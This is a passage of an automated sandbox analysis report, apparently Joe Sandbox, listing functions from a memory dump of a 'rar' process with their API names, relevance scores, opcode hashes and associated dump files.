                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: Process$AffinityCurrentMask
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1231390398-0
                                                                                                                                                                                                                                          • Opcode ID: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
                                                                                                                                                                                                                                          • Instruction ID: 7dd22df36c00b38ab025413f261511a87c0c7f9d86f5e1cf7fab8ba22e190cc8
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: b5cb634e91c6557fc3f51b2270fa7b26469bd4cc2c85bb60b503b74b5f948de9
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 6CE02B60B3A55192DBF85719C4A2FE913A0BF44B80F84203DF80BC3E54DD1CD548DB00
                                                                                                                                                                                                                                          Function 00007FF68A264A74 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: ErrorFreeHeapLast
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 485612231-0
                                                                                                                                                                                                                                          • Opcode ID: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
                                                                                                                                                                                                                                          • Instruction ID: 25ccf495b8a92bd3b7ebbbb6482b994fc16f44f8b21ee979f380cbadb449fb49
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: eba7cb3a1b25fa9ccf71865f2d4f1c33426d57f6117c222b9e149abc10e1791e
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: D6E04F60E1B542E2FE2897B257351F412917F48744F0C40B8DE4DC6351EF2C6985D348
                                                                                                                                                                                                                                          Function 00007FF68A2471FC Relevance: 1.9, APIs: 1, Instructions: 353COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 8aefdc1cb674b71313723add04a6398c0a8ff8375452e2490b4ffbea5e16a08b
                                                                                                                                                                                                                                          • Instruction ID: 0982bcdda7fb813e197a07fe641e647a5171325d93ba1c3f763810b685d4c94a
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8aefdc1cb674b71313723add04a6398c0a8ff8375452e2490b4ffbea5e16a08b
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: EAE1E621A0B682E1FB309B2096643FA6751FF41B98F4C01BDDE6D8B7D6DE2DA445E700
                                                                                                                                                                                                                                          Function 00007FF68A2072C4 Relevance: 1.6, APIs: 1, Instructions: 100COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: c7a1d2a60ffdbc43dff3a0632d536e208070f789ed259da07b8fca2f3bbe514d
                                                                                                                                                                                                                                          • Instruction ID: c9715f6fda6fed544545e8d1c4bfc791761a5aabd3f2fd2214569889d2cddaa4
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: c7a1d2a60ffdbc43dff3a0632d536e208070f789ed259da07b8fca2f3bbe514d
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: C0513472529BD1A5E7109F24A8542ED37A8FB44F98F1C427ADF884B79ADF38A051C331
                                                                                                                                                                                                                                          Function 00007FF68A26231C Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: HandleModule$AddressFreeLibraryProc
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3947729631-0
                                                                                                                                                                                                                                          • Opcode ID: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
                                                                                                                                                                                                                                          • Instruction ID: 3c763c31c9b58bf2d0a0a9aee29eb1f49fbf1d198a6cd1b1c5eb7766167068f1
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: ab07719b1dbe22030e8646d784921353e02d3757405243c58476c88a44abd4a6
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: B9414621E0B653E2EB789B159A702B922A1BF90B40F1844BDDE1E97791DF3CE845E340
                                                                                                                                                                                                                                          Function 00007FF68A214D1C Relevance: 1.5, APIs: 1, Instructions: 44COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: CommandLine
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3253501508-0
                                                                                                                                                                                                                                          • Opcode ID: 6ca107ee098caa867bcadd7ef0d5a172978b078b2b87410db8f53f472e92196f
                                                                                                                                                                                                                                          • Instruction ID: b286b24b8644ce22795eb91e18e9836b4fbf5627c1d6dfb182cac1f410bb69b2
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 6ca107ee098caa867bcadd7ef0d5a172978b078b2b87410db8f53f472e92196f
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 0301F951A0E642D5EE30EB16A6211FD5660FF85B94F4C0879EE4D87369DE3EF441D300
                                                                                                                                                                                                                                          Function 00007FF68A264AB4 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: AllocateHeap
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 1279760036-0
                                                                                                                                                                                                                                          • Opcode ID: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
                                                                                                                                                                                                                                          • Instruction ID: 265155cdb86b6299998183c6679dd8eefb1d44a521839c287ac5723bd4245556
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 37F0DA11A4F242E5FA786AA15B712F512917F447A0F4C06BCEE6EC53C1DF5CA881E318
                                                                                                                                                                                                                                          Function 00007FF68A2338A4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                                                          • Opcode ID: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
                                                                                                                                                                                                                                          • Instruction ID: 52900e7c2f78500551c5f261ea2ed361f0cdb59e022a8905e774e601efeb4c12
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: 3DE01A54E1B302E0ED7826221A710F902402F57B81E1C64BDCC5A86392DC1DA169B700
                                                                                                                                                                                                                                          Function 00007FF68A26FA10 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                                                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                                                          APIs
                                                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                                                          • Source File: 00000012.00000002.2197586800.00007FF68A201000.00000020.00000001.01000000.00000018.sdmp, Offset: 00007FF68A200000, based on PE: true
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197559792.00007FF68A200000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197673099.00007FF68A270000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197728800.00007FF68A288000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197779300.00007FF68A289000.00000008.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A28A000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A294000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A29E000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2197820975.00007FF68A2A6000.00000004.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198011519.00007FF68A2A8000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          • Associated: 00000012.00000002.2198041299.00007FF68A2AE000.00000002.00000001.01000000.00000018.sdmpDownload File
                                                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                          • Snapshot File: hcaresult_18_2_7ff68a200000_rar.jbxd
                                                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                                                          • API ID: FreeLibrary
                                                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                                                          • API String ID: 3664257935-0
                                                                                                                                                                                                                                          • Opcode ID: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
                                                                                                                                                                                                                                          • Instruction ID: c009a18ed0bf4f350b721b1dd9ca5ee4764f408b095cbe100b763ce630b72471
                                                                                                                                                                                                                                          • Opcode Fuzzy Hash: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
                                                                                                                                                                                                                                          • Instruction Fuzzy Hash: D6D05E69E2B902E1FB24CB40EB643B012627F143B9F4D06BCCC0C94690CFAC3048E700